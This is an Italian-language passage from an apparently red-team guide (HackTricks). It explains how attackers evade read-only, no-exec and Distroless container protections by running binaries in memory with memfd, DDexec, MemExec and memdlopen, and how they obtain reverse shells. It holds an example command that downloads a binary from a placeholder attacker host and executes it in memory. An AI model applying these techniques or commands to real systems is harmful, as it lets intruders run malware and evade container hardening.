.. | ||
ddexec.md | ||
README.md |
Bypass delle protezioni del file system: sola lettura / no-exec / Distroless
Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.
Video
Nei seguenti video puoi trovare le tecniche menzionate in questa pagina spiegate in modo più approfondito:
- DEF CON 31 - Esplorazione della manipolazione della memoria di Linux per stealth ed evasione
- Intrusioni stealth con DDexec-ng e dlopen() in memoria - HackTricks Track 2023
Scenario di sola lettura / no-exec
È sempre più comune trovare macchine Linux montate con protezione del file system in sola lettura (ro), specialmente nei container. Questo perché eseguire un container con un file system in sola lettura è semplice come impostare readOnlyRootFilesystem: true
nel securitycontext
:
apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
readOnlyRootFilesystem: true
command: ["sh", "-c", "while true; do sleep 1000; done"]
Tuttavia, anche se il file system è montato come ro, /dev/shm
sarà comunque scrivibile, quindi è falso che non possiamo scrivere nulla sul disco. Tuttavia, questa cartella sarà montata con protezione no-exec, quindi se scarichi un binario qui non sarai in grado di eseguirlo.
{% hint style="warning" %}
Dal punto di vista di un red team, ciò rende complicato scaricare ed eseguire binari che non sono già presenti nel sistema (come backdoor o enumeratori come kubectl
).
{% endhint %}
Bypass più semplice: Script
Nota che ho menzionato i binari, puoi eseguire qualsiasi script purché l'interprete sia presente nella macchina, come uno script shell se sh
è presente o uno script python se python
è installato.
Tuttavia, questo non è sufficiente per eseguire il tuo backdoor binario o altri strumenti binari che potresti aver bisogno di eseguire.
Bypass della memoria
Se vuoi eseguire un binario ma il file system non lo permette, il modo migliore per farlo è eseguirlo dalla memoria, poiché le protezioni non si applicano lì.
Bypass FD + exec syscall
Se hai alcuni potenti motori di script all'interno della macchina, come Python, Perl o Ruby, puoi scaricare il binario da eseguire dalla memoria, memorizzarlo in un descrittore di file di memoria (create_memfd
syscall), che non sarà protetto da quelle protezioni e quindi chiamare una syscall exec indicando il fd come file da eseguire.
Per fare ciò puoi utilizzare facilmente il progetto fileless-elf-exec. Puoi passargli un binario e genererà uno script nel linguaggio indicato con il binario compresso e codificato in base64 con le istruzioni per decodificarlo e decomprimerlo in un fd creato chiamando la syscall create_memfd
e una chiamata alla syscall exec per eseguirlo.
{% hint style="warning" %}
Questo non funziona in altri linguaggi di scripting come PHP o Node perché non hanno un modo predefinito per chiamare le syscall raw da uno script, quindi non è possibile chiamare create_memfd
per creare il memory fd per memorizzare il binario.
Inoltre, creare un fd regolare con un file in /dev/shm
non funzionerà, poiché non ti sarà consentito eseguirlo perché si applicherà la protezione no-exec.
{% endhint %}
DDexec / EverythingExec
DDexec / EverythingExec è una tecnica che ti consente di modificare la memoria del tuo stesso processo sovrascrivendo il suo /proc/self/mem
.
Pertanto, controllando il codice assembly che viene eseguito dal processo, puoi scrivere uno shellcode e "mutare" il processo per eseguire qualsiasi codice arbitrario.
{% hint style="success" %} DDexec / EverythingExec ti permetterà di caricare ed eseguire il tuo shellcode o qualsiasi binario dalla memoria. {% endhint %}
# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
Per ulteriori informazioni su questa tecnica, controlla il Github o:
{% content-ref url="ddexec.md" %} ddexec.md {% endcontent-ref %}
MemExec
Memexec è il passo successivo naturale di DDexec. È un demonizzatore di shellcode DDexec, quindi ogni volta che si desidera eseguire un binario diverso, non è necessario riavviare DDexec, è sufficiente eseguire il codice shell memexec tramite la tecnica DDexec e quindi comunicare con questo demone per passare nuovi binari da caricare ed eseguire.
Puoi trovare un esempio su come utilizzare memexec per eseguire binari da una reverse shell PHP in https://github.com/arget13/memexec/blob/main/a.php.
Memdlopen
Con uno scopo simile a DDexec, la tecnica memdlopen consente un modo più semplice per caricare binari in memoria per eseguirli successivamente. Potrebbe persino consentire di caricare binari con dipendenze.
Bypass di Distroless
Cos'è Distroless
I container Distroless contengono solo i componenti minimi necessari per eseguire un'applicazione o un servizio specifico, come librerie e dipendenze di runtime, ma escludono componenti più grandi come un gestore di pacchetti, una shell o utility di sistema.
L'obiettivo dei container Distroless è ridurre la superficie di attacco dei container eliminando componenti non necessari e riducendo al minimo il numero di vulnerabilità che possono essere sfruttate.
Reverse Shell
In un container Distroless potresti non trovare nemmeno sh
o bash
per ottenere una shell normale. Non troverai nemmeno binari come ls
, whoami
, id
... tutto ciò che di solito viene eseguito in un sistema.
{% hint style="warning" %} Pertanto, non sarai in grado di ottenere una reverse shell o enumerare il sistema come fai di solito. {% endhint %}
Tuttavia, se il container compromesso sta eseguendo ad esempio un'applicazione web Flask, allora Python è installato e quindi puoi ottenere una reverse shell di Python. Se sta eseguendo Node, puoi ottenere una reverse shell di Node, e lo stesso vale per la maggior parte dei linguaggi di scripting.
{% hint style="success" %} Utilizzando il linguaggio di scripting, potresti enumerare il sistema utilizzando le capacità del linguaggio. {% endhint %}
Se non ci sono protezioni read-only/no-exec
, puoi sfruttare la tua reverse shell per scrivere nel file system i tuoi binari ed eseguirli.
{% hint style="success" %} Tuttavia, in questo tipo di container di solito esistono queste protezioni, ma puoi utilizzare le tecniche di esecuzione in memoria precedenti per aggirarle. {% endhint %}
Puoi trovare esempi su come sfruttare alcune vulnerabilità RCE per ottenere reverse shell di linguaggi di scripting ed eseguire binari dalla memoria in https://github.com/carlospolop/DistrolessRCE.
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF, controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi i tuoi trucchi di hacking inviando PR ai repository di HackTricks e HackTricks Cloud.